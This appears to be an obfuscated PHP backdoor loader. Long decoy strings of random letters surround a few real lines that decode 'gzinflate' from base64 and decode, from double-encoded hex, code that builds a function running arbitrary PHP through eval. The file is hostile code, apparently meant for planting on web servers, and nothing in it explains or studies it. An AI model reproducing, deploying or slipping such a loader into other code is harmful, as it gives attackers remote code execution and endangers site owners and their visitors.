$dcrpt='ivpPdTADvlEitQzMxBtHhfWfBnUkjbyswmhzfgBZSEhKufwqGPxNuttVfMFpNcGiOmguugtlKBvEfQtMePzYhRtmcXaPzHxntcHMIzxtzRwFhOrLEpikGBXIyXXXduKxxrIEpFWOVRtCfiNixVtCxPkumhrqaalWQuBFyWttOkvtthBpcTRYiBtvhijhJVEYpeDlaVdnFyGxFgMhAcFIcXcjGLQpGumUXQfykjLQgRmlXytWZxEbvfKaRaOxTaRRQwpBezrlqcxNapJZLNBFSkeiKSfETWUisiJxgzhxCEJCssacEBIxMMeVejzXFSfXApTHNadOdMqvDrWhRddcqHyuRWrwpVSOjkvXKXLNiBHMrEtHgVjwCHptcepraGfJRAfByrOfRvrHyJneExZgDpYGtMWSSbbJbgJYxWdNRvupDhSHdSmHgKmYxIrOjsWKXFIvCkHSeBghIzOkraRWKDuGLKuUBqEzvLtwvZnAZTHgsUsIUIddlyKwhDqiTtHnDZiXywWXOcdgWvnQDsUOpdJVGYdzQKltiTqgpMddOGJLBwadmurBxZxdXAbmKNFSGuyvfBXUhGehbekOYBpvALXWLzivlmMRGkLlkIFRnJYPmiDKJrfICCdmaLglXSDdcnOnWtEJBDXmLZXUrCbSdfEEqjPnbRQEfErBwUJwxHIIGebwfcNjHrNXAbKbTAeyDvyYOgTLmBStfTOkVCTDsfAsHjSAiWxLQUidAbOmbGFGztrUujxlPwDwFUvmQRxGkFijfXwGcambTcVMlsXamZVrTqDiGZnQdxAiuVnVwZWpbRanIyNUWJkQyNYelmupJTWCPkxKjTYlKyYtvLMsTXhsjFVwrpjzIgAWrXGAqELZBiRWUEnmaUdjYYePNOnvUOrkkWjAZvYADQVWTIjTbMCaLgPXUCsOqhyZdHYCBXBemxafEJYGwAGGfUDZwuNlaKKDRJesfFVsBwxfeULZuQeAjgYeZlPZVACMIGENLzEluaQYUaXNqCMYILdIWSHrRjDYpgLZeOLYnaWhBtvQUGpDQsKMJQDBZfzOLKmpXXmlyiSYbmnVtCXitHvcyXcWCajMjxahTNtrvkOwXcsqdOyxwSztpaOQaYCkvcsnPjejTS';
$str_rot13='ETDWGhzXJYPeRbVscRzzyKwztZCMeOsIHudMCCJkaXPRZjiBaHzyQuwiuXUXkLFrfhdgilQijFzIPgiPNINDBilUGfRQrVhwCkbLVRtexSMLYvZlcMncVzXaenQvJxqkgrVchOgdftndNnOpZcruaNTebKzKGnUNEqpldUOimcLzqZNObEIbrBGsKEBrSVDVKrGmkvUXxewldjZENgGDILVRpVHGQjCZZhlkCfhykDJNlJsyPxbWhwOwrvCHedfDKsNMWUjGXTuIbLgqhhMOcAjtuLzXnFBYwNjshtYeLRMMbsCiznWBNFuGQsdDWdaRQjjXDHBnXNAYebgdpCdBGWGVpJzKlYCcikzkRayONxlrXsTLtXlyTsuHAssMqtOXDmhTMfgYCsqAiiKaFWyYNrFmhwYXOlUQ';
$FmJTMG = $XnvMwSjR;$b64x='TfDgFSaOjutxphtfCQrpSInwQPtmbFhujKBPCackuwHhcAMdqdsHkFdAuwmUaupkePzfparJVxQXWDaMfstqwVqPrCKRVyBzmzFBYVJURZrOCsAgisVFnkTdlcuhAUGlSKNReVLWUbKVSJbbaxfnHYRTBkAaFFmxqznuuyPpZzJrHLRIhWvnvlGVWFvBkHXZFLSZiINHGwYnGPvmlPaGBGaWLvxvCuugELFNtsTznrMTgggRvGxvlWrwQNQsHJYkUDxmvrLIgWamCgdXlZRXvitlvJcbsaMldiYyYiffFfRgMvDxTvupcNZxwbYmCjYFsWcQEHvillPxfsUZMnNnAMkVNIiORGtICUyFaSnmEciJuCIGQvTPGDLTktHbYaKZUHdvArHDSplmRusgnkVUOfNyXuAVTJunqXIpnpRgcDSTWjzjTvdgZQFXKEsDmMQCiyRVlhbpKtHGbgqVatBZJfWSJpvVALXIinDUUeiFxPKYvZTvSuvaZrShFMDexZlfmPZgthkpwvmRTfLLZfkyxceBPHfLGrQsFPYXwIMscYIWetgDzsAvTEvhLATrriivyGStnEKrCRMfkShiJHcDLWKwxclmLugiZyBNbLDdCpIlGqTqWvsHsBCndOAOHfWHEWTeH';
$dcrpt='tOuyqCgytMPEFFJrGMhIbZEdGDGYIqJaddYTeEQxqeBuKjLqVSxwRAzWdfvkUdlyGJrKmGHcLhwUQGJLzfHPGfMiKgtFJdcPMSzzyFailwcbcLmarTpwyaEiGwmPAOELGCJDHJlSFnuHzfgpyvKVVNDBiPPhctTIvCLbLWtqJMwHRCVOWeKRrmSACHgEAZMUbxvMSNBBZWiqyDeThOkyACxbIEfhcRBdNv';
$str_rot13='JrwXsdlKGVhJqjAqCRiHAzrtAjRCKtctiyPABAjGvQqkzpAAgIHGGXYgGphqhjhqgwQgWzNrPCBnQAOWHvDNRatxPAmWiTlpqBvlaHbPiDCZCPVjjXwAYOxNniiwbujrVdbvLdJTfkSHanqJkLjIzfUlncHpxqfRuglejuXOEqwEDkNNWWVUbPgOSmcpDhFWOqaxJxlmMgrprdCMzxHZlNNdzpRbWwXKLxGTurgfWWvnz';
$b64x='pMMHejJCnIQQYdKFFOMBdgIPLgZmsNZfZlMDUVfhDVXaYHedUqdXwLNgslTiySNWDZAxUFdWZaxXHBAaRDYMOkTfVMNtdAqgzpcSTgpSgLpnLPnbsLnfVgKQsxJUXyAVMDnFJCWpMKCWzqYralVwRflICUbYsbUdEHhMiDaUncqlRnbrYxMpCYwdsXcKYwmbCUNKxmdjOtwegWwEthtUFnYxkAGIvSiwlvfJIIsVamaGjVkCCDxhQUdBTJiNaRimlNvTvMpUZOBiJkjkmfRCzUcRDLdEClQNyKgswvmvImcrxmaJRSkrlNhPXlSzWhLURRlMLyhtjJiGvjOmBzcMLJaIusGrzrkPiVCtuilDRuJMcWyDUAPFIPMchsS';
$dcrpt='ezYXSqkjZyfsbVaWVeYlWLdchOfUqsjUrHRiWCswZWNArOWLsuxneAPlNVGdMpXcVnLspcNpzAnPNjBfEXShWhuJcZlOniRIWbZKdMYbMMRzvRdynwGjDZsFyEtklJSHKSsnEPOPBFpWVsTimzRPXjTUNMeyvXfFPxsSlfImLwIfmBpAAfOxOIsBuwZOSESHajZLqgXACFFOGtNfzCbmjtnDpMQGqJNPsMZHsXgTblgHEulCVnpefbgTmWAbemQxyPDPljhNvnTyHfAbtnfXpLRahrblDrhAFLpRuwEniWLqbKrTXWRLHIkOYlAaCgZhrnyKiBXrxiGYsXRPtIZZPknNwmmySlejYbtgCQyyyDwPZnEsvEsknexJQjGIUKRTLKzMAWkXZflYSQrnThXglupBDViXeAQqjpbiLLfjRQhiGywYetePmTqPOzMsybHgQipaTTjjJQtPpnNSHsITkXhyVuPSUWYjemjxFSHpJzdxMqptHWLrutOOldHFzFPDsYZWrfkZENVrdjijGuazMnmxrtbpyQRPprkewwD';
$str_rot13='kEwSDaPpCJwjmBdISGONCCjDTVNOpcvYfqrIqfxSOSbbSEijkxwlYFOrZBfpcAMhpcqEHlwwdXWvBeekaAVZfJqEJUsLTeThgIMOTHJWEFQFiUpJvkIZTxDDsVNKzfSFNESGkBbpFStnlHWfRdekZhmQCZBafteSWXYGXZuDRMqDTlIKpmunuGevfFvKxYbSvZytZsvqDKSwvBGimZVGfzAKDuuZsvRNvPFTgZiJibFcbkknJftnFSXhlQhclypfmTytsGCZggbhQlUzRmmVEjcpaJRLhfquZNmQtnQZuRgJDBhuNTpRDQfDZWNgCCZapLQgYGfsXMAZmhSzaGqDVVFUrRAstAsHKiOJntAKeaJrhaqhGFkCZPwQHwhZvAgehumvMNFRmnHTpWAubKVaZRqfmyEgxKkEdyyQKcgWQNPEKpXLztkyJBDvygBuRLxuIUJsxPNmDCqmrmxPeHmNhPHevhyLtUfApOSLEFxGHMsxyOlDvXPclWgGdesVyWwMKNWNRStydjUCXFEtCSUNOATsEKMcGhnqUKDM';
$b64x='wMNPcEFWhNaTYLjVbwnfrSAHNKlYjnmeZzUCczXJLxcKileJgROxJNewxPUfcgkCGEDhcArmXtwFEAnjrCfapjVlzPrBwaCBEeIfFYtbQOfTptcFUieJRAUqpkrjLSKpXSvbqNCgBHzpzCuTjyCAxVqMfGVqXfFuXZUmlVSlCsBBtUuCRvBpqQAUVUktzPMwngizbaKERkEjEXkVsMJHbiBXCLqbZBxmHeLJFVMwFqfjMqEDBmjDvjZwvOxTpugwyrECLPYredZqSDSuPBWJKVeEJbyxvdSsuVUFKsVOvUDmWvGkVbtfWWJeXGCRJTJDPDhzuCNOVPARkGBFgTKdPTHmzIdICMkQOROhtavNQvdAAEeGxPiLIQXGXBnYMXOaOchGccSsxVRwzWbvkKGsZcXWDlVPIiPWkwCnyveuPWPpsriCaOTZRQvTBqhjzWFJSGwqaajQWYEnpMPOahNRXijYXsHVNleFRZvsZEHVCKIrwxEVEslbZwzwmfsZQwegvzyvCEPDnytjuXeyOrzNlXIyCzWsUAyPYwJZZXDnvVxPSamGrkSCHazizwZTVWhuRQSRNvEIQAWIAIORSfSzfsgFmFXHBeAtutJgmMncljkLRYbiDugJkmNWRKDSnDKHVSmhEBkPjUZBSBJUuQDECPATYCLleUSzMfHPfrdpkCPCczwVOzYqnyimAtydmQDyVjMAZPOjsELTCGPPeNetLNeKfbNSRqPlYCLXQZgHcrBdxPSBbwtMixVOYJfpYuBXvLulKaSlQSpmggOicGukDqyBYDPwxPtRBmCKmUWcMKqTrDbtivDkKBkhdaEApwRpItZUmvXzEMsUpSmWMQHWrRdTrgTGDjUKCtFpmbNRmeLawYwhncdduHwKNOPPXKAZCEnPeafreQQZnlgBOKEhrArDngtlqSKRVXfZXkPBBFAOqGPdPSKfsbJfHBQWSAmNxtlucAucETRTYfxOXGtqgBUNbKiTjwfGnrzPQSSukiNinjwKpPzwqtiRcRjlmqRZGPnWHfPRNCAAkVkAjJvZccQeTzrFOHEUxsqDxeUKgujrOuqYdKxFNMJGkzLZgOTcfIFcMYMSsvJgPYEsiawVMeawdkvjZNLevPGHOszFNHkbGOSnnnIzRhVUtPDsDNVxDCdQtDvFJGfpTXbHKJFbRAVjPYasLVnNWsDquyUcDARwWSCHChhSgcBVABMLVaySsBHkyaMaADVxVyDWeKOklpgMpsWJsTaiTHtrhFQHhMDcJfYNplxBAcMnvIXMaXvUemklRBsZmVBvAZHPkdPkGayahUlhSGbWtMHjmYIYtjSTizhtbwDHwBgcvtjmyLIQWpaINIffrXYzVFsWA';
$dcrpt='pVkGsADafbMjfizKCsRjICXUyugRySUmOeSFeUFJvQsZyQKZHBiPDFJaYqrWhkivOAZsTdBntSmQiWPpXxdZcmzACPwizEEMDcewgFJzWwqERETnBwmchkCJZYsXbVKexnADsJCnErsvukJUfvWnGzwFWNcXhMBFZbHrjidNzUhTEqmKLjXrhtvdGxANibRHCzxLgayGUeYzvkiFTFVaxqdcmdqUEgbfeyqlXmrsrpQkYyPSCKSYAwblYrfCxggbewmbIDtYrIJOfyGHIYGHTgSrxXStEyuITfJBhCYyjHmPFsVmPaTIgLYDhqwLNptfvCGCdeAMklBpDxBtxTAEdYGlnbwBrpGkQMMtqLeZWfpZCpRyiQblOhWCItCYHhIxtvpIFSIbXwazKrxSGyEveAwNSXkzETvXNiFsbMtYhSXSIujprNiwnEiFBSeeLYByhGQisIGZaDrIwAWNNeIAhQeIIimTHmrOSGwkpbJpeZwAYtmLWUkejqlsXykdkarcHMMvnvisTERSWecTyNXICIzzgJcQJtSPf';
$str_rot13='QNzDxijQvXEiWGwYTMfkSmjbNPJmwAvLMUnjCWZwUDEqIAnBlukDGvESJMeEmZpYtcHUYGrsIuHrTVrFOChTWMLeyPIjnwIGypaxvQncJVScQjHdLnWgZHKXVRGjmnpLcOHxEUYnpRqEawHkJDQJjZffQLOczcmaRtWUnUHCLWGksmUbQjjZiOEYzsbxUNxkgtETNlUyhAiZNcADmibUWGTUxusQgnamgFfTQaQxAyVMBvpmDrgzwzuSSkJZXiLDmrVCQMZPJuCjPQVRGCrbajuTTcsqKcTXSOYIZXyJsZSGpnxVPmwpwPHOrYeBBXytkwBkTYTKxkPLylfMYCbTQhIHglhgieYtAzcSWVbtgQEECJQAKrtByAhdLOjtSIlRgnKdjkVqBztCIibsYTsxuYAeMjXERiwxwFZFpVuPTNrBvRTuLKQEJPhvYezP';
$NhuuBKaxDp = $HcXBhJ("fC58");$sgIcDg="lK";$pJuMYJyGR="LSwAMwZiyAvjKzNlPFEIXLTuyCFyJmvuFQtrMsYjrStarfLFjPNGAGzxHDvPqPiUfakRRIAhBSI";$Wr="NyrxP";$NfPxIKqDtC="PzsaytXbWWZHRAgGZnYGVmMJwZRKmxWBwnCTgYuCUSJkspQQbpVWBIeXHWgTSDvnqwGVuzyNrGXiuNYvbUQcCUzI";$RmQGLkZG = $FmJTMG;$b64x='GmRpeArCsasdErAalKJmHQBeyPsyIKzOWPCBOscFsTIwJHwUseGYuGDrUUPDdNQAbRaPJCTAUBVDhQXYvDxOjZfdtufVgvvhMUwvVpUPpqSVfPUZsQnaPteHljbsexYQQukMhEaVtSQYgjXYZkYncCunlweqscfhwPtcSuXlLOjsxgqxRNjTqEHBzLqQOvxJJqMBiJlTWvKubzqSmzkbCRbaDrqrkNZTCkTKufcqANialXsXWDYyTZYwPnlZALsbVlkprneqamQLkhiGjgddGBzUpkUOVLqqWAFMNJCmvRyeYGKIlnLrOJlcTFrnqfEMFiXSrYEkPbqnHzVtMGJaOuCIYSvOXYZcGWuWvXhjZWxfvRXhxHHLAitzBmMXlLzRgSnBQULpQHTkzRRvXyfxgXvgkGdVrDMyUzyKtIyiqsTnIjhehnBNKwTubWpSYbPTAmctVBaKstXZDeDKRdWbYPvAkKsjkGCKSECmEDWVVtuXXWgnAcpXRKxcunLETmNlqPyusUOMmiKJEQXDTlajvWlOkwRDheOyTMRKGFwsmFBrwytOitxEqiRZEJCMmQJfCAPHEkyrqYHLVzYeSvIHcYGHHhttxbyYamFdXDumBAxxZUarOhXRfcXmJPFgqdeqPjSlMmXMlTIkNIabPXsVZpHJdlptOthdbZpmLMZXFgHSPITdeKyEYeMBQaTEtAHUYwgKhFgMMmdauWdzGbCdfnEVnWZfwfZUBGdIKJUVVXVPuzNzApceCGapczuXETRfYUmIDGdYdYmWWZvVnWapDAcFYVbbOTglmTUqzxnbvZXRYSMLOlZQLbUiwWkkpQVBipQhLDigCGxAyIKLUJCejVNGRxqfMkgVAwckZKQaqMaNvKYOTZScUehlBWQnHWIgtKQRugRjSrwmbuaUttwNWdyXZnkGKslCbcSUIidAAANBtmUleqYBSwysihxszJTZkktSuxsTwETOrNZUCxvUsSlBZIsyQLWaVqspljHHNAUDMuXpQsiIKuIJBZHsKcRfsjuDtBJFaEINxFBMwJufCbpCBvTKxLPPuJRMjBQjeywaCWMYegdfHshhMASJkgydPppYpfIScDSeZFcDLFisxqZiPRrAxODmDSKRxRKYUCcTGEwrjdiGthniyFhUSKGvbrMXHVwBWyuDCqtLtBrlhEuFIaZBKFvlVGIcBdDybxADlSNdudpBghGPhFPsjjDFQKHQnJNpfmrQFdUYGiYMrdayIppszRwObcdpkRcQDtGhVAFBiEMzgmwPBLGzbbMcDQQNHSDJKJRFIwFQzROGdkUEvADVBpydenqkgtUQbLVJGAZfrNLTxeXREANEOKHtXwDDOxTpHOYnNXtEjDxHHuyKtKnhuuARPCudZmsGAPtnlLrwNNcTHZDZjqGDJFTYhnbGZtLAIemTpDpcqQvwQywZNBbWgVUnIvTHmEGUhSOxvCYkttGIQBgdchZiCtVJNnrzrwuzpHviittBkzIBzOEBWciXUDHgQxFhsyGGeApnSgnCFWcEKfEfHNDBqjgGfMNxjSDpsRbJXpkckNGVSjaAwDAllHRQSdNbVPPMfQvCfeEPRJKKtkJnmIYYpPnGsahMpWyumsWRxZGNJrWBaFOmn';
$dcrpt='rxuVJVFXGwyMwHmCgusrEHVJHKxpgjMWgFspAWlFsJQNQdOWWGmAmiItsEHYmSUtxlHWhSBYbslRUzNqezprgwJzZPWlHqedCkzidAHERsvkQHZVfNLMivKHJGsrVwuWHTFjtlNJDHttnRNSEzdltNSbSjsOGljMEOVwzheBOWuBmgSQFWBXitZbbrpgbySFMmakuElHAFhMLAbrwbNETMeVDtbErujcfJMZnXGmCnzNNZdIbqLUcQpeIrIYjrApAMnNJuZLHXyTXaBYPlsRBHVJxdHGTHutthFBaeLHbIZYhAwXknnlUJUrMaweHpXzwCAwfkChTBFAABxkOLwIuPyFPtiWHfUDhuymFaTXaYxaYukMefTXuQCiiKEPqzsxsQiwqCtPAqPyJzJmdbjxRkfzUJnjHffZvpvjqnYPcnMklUxqVfllqQKjAxTGbYewMZebmdqpQBzbUvQPACAPsJyrgQxHPBdaAhClKRZZSXBMsQbRsBfjKdAqTwWhXZiWHKiQaHQSFreWGfnYfSHPVGePcbWzAEvGncxOKMfOCjKhOxFUqlJkSnzupwSOzMUmPQaYCFMDPVjDtPWhAGRRTrkHlCUKpOWDEWaFblHqgRsYGpfFuxxMNgtYiMIxaezEAzJBKqQqgiplxTrqPmbCtTZBFIxFlVJLTRmDgctNKgyGzOVpaWQTPQTUXrziLhtFYFHFhzRrFpXeDSScPIVdXPXuFxCqdvuCZBGGzxXekUImlAqahkeFzBYdxaTBvMCTMhAldWPNqxaBWqbDZFHYfGbDfuDAGetsLscONRaCnadJPeMpitm';
$str_rot13='YXasSNyVVPInnxbewzWEumbnrQvIAWUyuVpLINGcbNqpkrSfpnJIAjvqaqXZlsxemkPuxwwyIklSbdXqrfyqPSGphcnTujXfuNzrIunqeAIfceUTKsizKnNRQAjJJHPCuNsBHGqLfxqHCjALCijlVwCLVlvdSJFlVXlCcBMHYBnZLnKMwtxrOyCiJWlBeqlZMxbOymUVOiuzwdKrVgHidIrNEbNhQZhDVIQSULmItGGOiPEdVKlztblWCYEtxLvttkKMvXvNDAaMqdpKOaigbTCdsfwOQQGIAQvvNpHPnIBDLqnYqVeQpHTGMOTcEZjEPdYCsFrfMsIXgvVVQaLegeKsSDuWbdAQgXRYCIdOzkLFGfAwFKZLnJdgLWcNZbcGYUEZbgNAryEwEDrimquBYWgjSIwsJyXgRafSgTRWQvtTXJCKzvKWrQfIXBZfzwlPVQIBiYyZuqsQytZWNitdyylvzkAXgLMB';
$b64x='awQpWlfjgMHGKAnzTigpRmbzBmrdyubXPrLlCQUJCaOLAcktKrgaEIAEuqgRJHnXXYiYOCgPDvACxjVGaBGEIFHbUNscTFAQchnQKUempeOLNiQNjwQRbxTvJKyCqxRsEFInzlZNPOXDwNqFigWJDpeMYbNNyFfbjmPhXOUNbRqydFCLLyvOMYZkZMXxrCXZnMGlaAYbQnYTsBedyzrKxqUVbrRSTOrgaXsaWPBNcAfvAjXxhNgdCAyDRpUjDlPDIHcEwDQYCwtbFPzmCePdenfvbAEEkSGSzIVvLMtMhknlZlXaqmDuAhOBHRFRKkiITecdqvPWechdnFDdRfWQnLQUbvlkGuTYXvbmqqIuSqyFUaIkGFatPQmqlXBrRTpOnPBDeiXWyUbRuJbZNBsCseScBStsLgGYVgbzOyVMsWDLFektFbuwFLygcqXNwDlrimQXKLJBHLLLpVDUxxPbhnHKDFxzhhPrueNDpVDvfpGvJiOFFDHmqNWtRSRZafPTkbWYWzuBmZVWhiBmMHYBvuTLlKKLQYFAzayUzrwMqQhXZIJkPHkJAeuknEWDCaCBaavzrQKggRdfZlPOSZWRDqbRTXuVxWwxwqwlgfsmxURVffixEenhTPymlrhJMcfhsaTXGKJcFZxjeFHJiuqBINNUduDqVhxNiPKOATqeSlNxQuFynUYVglpJFRYBzVngKxUjqJNiUBFjujgHDEcJPrRvIQvGLIMvEfFUOsChsGrMpWSrAUZqLQjSfEyQLjlpOqICgjizpzKDUCTuWsJgISYNVVdGEOVsdDTJmBhBZrEtTxMppVvwmSiiNLOrziICMalyBSYZJCsCzDqmyKILCqtObgeAPlCaLmyLEwjmyanwcDIBmPLnedbFJFFyqgyASvKwrTiOtwJwzrwkFGzJiZOretpuYlUqHELXXtkPpTKNJfXnkwwtVjKZbytzJMOqQZmmsWBGPltyQQkbLHTGqcFRAyqjJeYYdLKvHlBxxtumiFnULHAAJFQjCgSKKQJNBtHiEHeAayNiCACMgCMQgCzhhrRrgZDhSkqwrTwrriZthBEOCPdIRCpYsgqXFsexbTttMOidwHVcIYQjOTSFUGcllRjRjnnkhfDTTMwOSQRAPHKDaChUHjgTBqKKcxUjDXDViYKaPaBdgkGglmbSVhLwWvfYsAIUWkpeiyexyeAFpFLZRlSNtDIOyONPNviJFxmmvrjSVJWjOhJFtBRlDAZANlOAfWIjTUWNKfFFnbpbiXHayXlAxLajwOiCkQkDKgqvluZZvNacKgdHeOhBYHkvUtwejGgTNwNyqmxjZymjdqQhDxiCdtwYkRCuxJNjEZhtlEDLbPUfEKMghUhkMDIXukQrtDZWcgPnLsYlgSrKcDqjWXTiACfulvKEyJZAQONBfllLdDUfFKOBHIJgJnZUJJXGSwfIksIPDTBgVvLAeZBkgjRPyQiGZFlRaQYKhGAkYAruuBtYATiGdZUaqCfpgQfhGdrmiQxGPmZjOShNLPTnpNNEqSSVIxcNATahJxNzKmhXeOKPDDdRQqvFiMAqicDIVDpdzcCIpietWPHARjQgAlLhxLWGNzNIBcLaENhSVmKsBrRsaHYAsJgPucUGCgNciYCMLKdfWmxxdNndUlclviAnkuUlBgpieqvpZyvvLrROEFryQtJKaJykCsxcXkLcAfrZckumbLaFqQcFIkqItNTVEPXBzhcymuWqdrCeBciQSKvavjINwaIzpfANmCLZvHpYxqcXsLNKvIKPrRDmSKLgPKuCMEBgkpEIEHewssflZpbPfdbxNmdcWWdIAEpjsSrVYwrPNVblJCapFCLsOOTjKWsJZfTrxjMweCKRXkcGMDUrEGisTbadyRMxWenTOZpSayKXJlEvnXMRcUIWvJzSZKPWPcPDBDvBAEziQCdDzpvCIcXcLVvkFjgulvwMxrMWUKFjlINkWhlEJIfUDAehJKbuEWFamswHbAqNHcXDJIGtqlmsLQzUAZndWTdiKYPLzfyfHUiQbnIrzUIKjHdJGrMbJpktMzEkdBQkwyaxkInjbvtkBwtHleIVSSNERrpuseENbdJLLwUlrmVRInyuRGOJyBnOsCiJflVgqdRaAlMqyggGveZlKNVHNiVejdmp';
$dcrpt='khBDVavLwZkrniDxHMFitVQZjOWwpHkzOkcKkWUGvEwhmydTKJBcdrCNEyITFSRtCtCMOWRiZnPlktfUBfxEWYrAVZSArKtTcuerPWYPJOaTgFnHLKKghbGcAYcQIUJjNnADjzssMRKsxXYHgINniSQhQsYXlghYugacesTqjEHfaeMhNzvvrKDhbaeMgLLasLCVDwllZSrzxcGjaBdQkfxMfbyMMIMDTnzwJjHhBxHXYMGYmKOXPlivmGgypsBHFzcOIivieBgcnlaZVnwkYEeKkkIYCiFGHgTpOOWSpCUbOubigxSfBWPkGxihemnLSGzfuwxJxQKkjkuqhLUIIKSnGAVLlIVdnUIIPeQlUAxDkqssAmZhWrVbQqlBXhdKbLsqPHBiHxkRMCimOHTjxnLMDWmZDqjdaatpIUWprgfDINpWThFqVqbymnXpDGtcGkrnembVSgyZtMVltBanqblbOIrrnJSTtiHyUItMpqMgBgtTgtHxUSyIAOzNWrfqZMmTUefiurOUxgmEZTatkXAKMyWhPCxnNiGHmkpGBdZyJMbheBAqyAzJXwRlxNzjWFrIPeOrHmnrYpXdpXtlxrvullGIyEsTIICylqnTCBJapGdcDVnZlITytYFrbWjKdLhqAUiCvrCiWekAzXYKGRHypMOrIYaliHBiBiKvzLDUPmunjSxpiENyqaOxYOIHvIPvqYPOJsJXECkmTgCcjOAzONwNaDTUlhpBfdPnUXkXYvjSaLUkzTinfEAfhSZSZNSEQgRKdbHCVquVbNfZfOMkslPYdnqCaIfqOWzsXFTsUMnvzSvdGgNySCVvplXptcEGzCXVgqnaBBwzSqCzwpwnqriEbfsuHvafWxbcmpDmpYMgNNeiCZWRreVRJmLqILwdHWgtKiGYGREtEiafhWxXAsPidAzkKupQPUjzCpWhfZAihApPWkMwCBFeADqjwdAkxiiYxEfbDeJkEXZAhLwiManlccVyFvhbcPzztEZvIIFLfdLMPgvaGhLhjGFnAlpCAmASQYMXgRhlUSxiyRidYUkHZpUAZIBzUBQjzcGFTOqNfNWEdEHcysiXfdWfkxdfxupWwVapiQBnDWRfBYHyPQvUTrzDncIKwxfrRGFZwFMYCdDcbkAqavjtkiVXKdhfAmwQSApneaLGdOhEYhTYCDQlkLjUOrzN';
$str_rot13='lGqXvKGdpitNdzBuYMWLtFybcNcfOpEaUtxqDcSRkKdnidggPcrhHnIKajpPysPSjLhlNzCXjFKRhQyWsnEYCLhCVVrSMFKWqrhCQKzzOIqWyNsPbVnDHUEbQVTCZEXPUFrjpQICXYywkQKLkXNrSsshMLiLpgAILRSzgZADxYYInJtXfGpxXfEJQNuEtumDKEBqDaSAyrhkzZIEFWbbBeKsrEVixHLgKLVNlNmiDTubSbGXxgYXKiObMjJiqvOaFJNQVzzzssAJSFfpkELVMZwXiefyYtXEbjTWIsUzJviBznpKRAeczAZgEedcxbfXkYutQnRYIzZhNNrdmvgkUfQXKUZGveEeDXWSkOQtmPZzcqDpjiZdnPAxiZdcDHhFdDxNrNFdCECEtEtbMseAGeWpDZrffXLIBHVruAuwEWZwARyMIblOfhcIHtnlrYUrePHzObUsxtOwklhsmSfSahZgBmRrKkHPzNnnOhFkA';
$ERRreukQ = $RmQGLkZG("Lg==");$nHwFZdRE = $RmQGLkZG;$DkINn="hHfcnatpmVTRkIuOVZGWLVMXOfEyaMlItrjfsCuEyMUhunvOMaLxvxUiDX";$mfw="xrdVlWRGgiAxAeZyCOVquhxBPnOEsbEOsgidcaiJiIFhlEem";$EpNUFFDC="azHPXSsaifUSdbPciGGFeLV";$xEGk="HvrdXiZgkdjLieUsibEakGGuYeRHK";$nDm="CBXGkTqCQpDACDwZpfdksaJxhQfDRVZuxwzgOOIFClEenADCFGmwHVSnkxqc";$QPaUfkL="kgKbIRQvFQRUemCXsJLfwFTPDTzdHCxrhhtPyIJdyBxCmyYEHJJCNcsPVqTcRqtYWknvTWXQWTSirQNxAVZMXQCtfvvxjNUGyh";$sI="iacxsiNgTHxIeHjhZzInRCKKMjXFgxwOWykOHXuZdQHixQqWOyJFztpkCmphiK";$gI="btSTtlPIlGYtxLcZQFbcUgehNWUGksPlLhEDStKezhWv";$rXjnMh="KattKGhvIqyCVbvieYZfMTYQvyaEFsROskgBqNwYdTAyuVfytedExb";$pWJXjDy = $nHwFZdRE("Z3ppbmZsYXRl");$TtdGHiKm = $qbPxK('$ihjnn', $IgVkLAfdJv($tzTVXlH($UWbtSKs, "32303635373636313663323832343639363836613665366532393362")));$b64x='EWDyfJIGfPQmVRLFUBJblYeIyJlJOfmRcpOHXwmDLCpGuZknatOlRStpadynjjeLyTsVOdyYFMeyMOkMHYxyqplQRidAsIkqabkOEhmjTrgeesqkPlIFAuvRbXrTFbiFcSTgZfPSVVxZMMKCYRgXkaOMXfFDgNHIFAOEecVZYszjEiLCZrYKQNwOsaQXmWFrxTuBvpBSgZcKHmLGEiqTvLgMkwixtOmpgGPavPTBnVKuhUakcPeyBkJkHShZfunLACLUREUEzEYgyyrZmvxNfgyMyFkDyXnXYYRPckTBORHLpyLBSHOXmliKqtmNPZkOYbDamVaAMhLAFwBWCpUPZCYOvlBjKLXImahYVIXhPIgTDHPfvJuTLsHfcIONSlUElCCGjZmyHurKafPwpIpZZwECdsOVDIAnjBuSAGqHZfrAlFVZmJyLebMHSADViCIRcbKchzJgFzGqdapPjMZNmMvelXZTzhLaiUcqSkWxJblMcAalLaYXMSCXPBRNhbnrvPfmabKidvvFVvqfvNdGGFEUFUhNvvDPjIbJjksMGMragffbsiHXmKsSdzeyTHmCOOLXYcidOYdudjvwRCSEljwqIZNaGAcTNmrkpzpCyRVaAQVssOVDxQsFPFFUegmrtDBgCPIZHdzgTvXKIsMeheJwJOPmUcDNFdTgtCFzeeeXYcgGTSjbwTWegMQAOtmSWGzphdmlHrIFSOKMfuNCMiGSUWshpeAkKYYrbkbiCiNuWXfBrsccaiuuekCSpbdYZBOAMPINXVGtsMUIDwjDEcXhmYaCzDZydOxPcfbaaItsTMzwihzljVuVTuxsWWpzjLOlQPlqxeHqqFlXMjjvecrXVmOrICPRmDdDSOSpsZeIdPFQYnKCqAzkNMBvnrmZtPCkDUZVtdcwsgLPvwrKvpvhaVcNLOMeDOpFhNZAqbVHigwDCMMWagEAcfmmTzrVMfATSZSiaNpItLkUWxrXDuWezJsRhhMtMLLFKDmkPBSiLDCIZseCLagJJXZqekhRWSVfvhqKhISTkTBjlekweQFnNEcsPkikcDPXjFHrmYJxRjfCNPYSGcFtGHjUrREuuuQDYWukUcgkMlNzAkQfmvYsChMSZqLSJBVHWprqQxBChNBIxrmilkANSlerbQiKQdRNRhCIeCJlpjtkaGtLqtyhdbyeRgphjfuBmViryRcMBvxBapLrgIXkJVOabchKhBkUwtkTKmfKICKhqvyxcVHLQULRXsBESMyOEJHNvlWcmGKDaHZCCfnsZyIwQjahvyVyGcLbnHDBnmdNUcqwhcnGAVcPEcXyASWguHHINjiaxlnrNDluFzZEvbuydrWdISJcYqKLYslvczkPBxifvhJpJCNlSJpaaxCylLIkctFeRqTRlBWGhfvQHhcZqQZPnamzLuiNNnRdDjVOjrTrwnHDUibJYAyLAjKkESxrfNuhWOvFfOVaBbDwjdEIDctcLCMpvieZVYHrMbVRPrsrsulCyPjarbDcEOQyXvxstdJEFdVuumjlGvmDKwdaWfCATtXqNUIFxQIbtDwNpeyvAKXjFaJBFlbzdyOQsVUPkCqEFLQTqnNPXLyCkGCQRDOUBbjsxDGHFWKjgACwmqKJAHKKnmZEpmYPpHhLkmRpiCXqBzLOnwWNcHXPTwuHJRxxydHhqywYztnasyneTjswqOKijDQsuMnspUzdtvbRmprENdifnAaDnklWNBOhmbzaWxdpRfFeTwhGzqllpLpCVZYJAMql